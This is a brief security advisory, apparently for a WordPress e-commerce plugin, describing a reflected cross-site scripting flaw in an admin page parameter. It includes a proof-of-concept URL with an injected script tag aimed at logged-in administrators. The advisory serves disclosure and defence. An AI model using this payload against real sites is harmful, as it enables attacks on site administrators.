Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open the URL below:
https://example.com/wp-admin/admin.php?page=usces_itemedit&action=upload_register&upload_mode=</script><script>alert(/XSS/)</script>